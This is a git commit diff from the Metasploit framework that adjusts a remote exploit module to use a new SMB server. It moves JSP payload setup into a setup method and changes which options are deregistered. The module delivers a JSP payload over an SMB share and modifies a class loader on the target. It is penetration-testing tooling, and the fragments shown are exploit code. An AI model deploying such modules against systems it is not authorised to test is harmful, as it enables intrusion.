Update a couple of modules for the new SMB server

This commit is contained in:
Spencer McIntyre
2022-05-11 12:40:43 -04:00
parent 3d3aa0f998
commit 19a9ff1198
4 changed files with 18 additions and 13 deletions
@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
])
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME')
end
def jsp_dropper(file, exe)
@@ -217,10 +217,15 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
# Used with SMB targets
def primer
def setup
super
self.file_name << '.jsp'
self.file_contents = payload.encoded
end
# Used with SMB targets
def primer
print_status("JSP payload available on #{unc}...")
print_status("Modifying Class Loader...")
@@ -300,4 +305,3 @@ class MetasploitModule < Msf::Exploit::Remote
modify_class_loader(properties)
end
end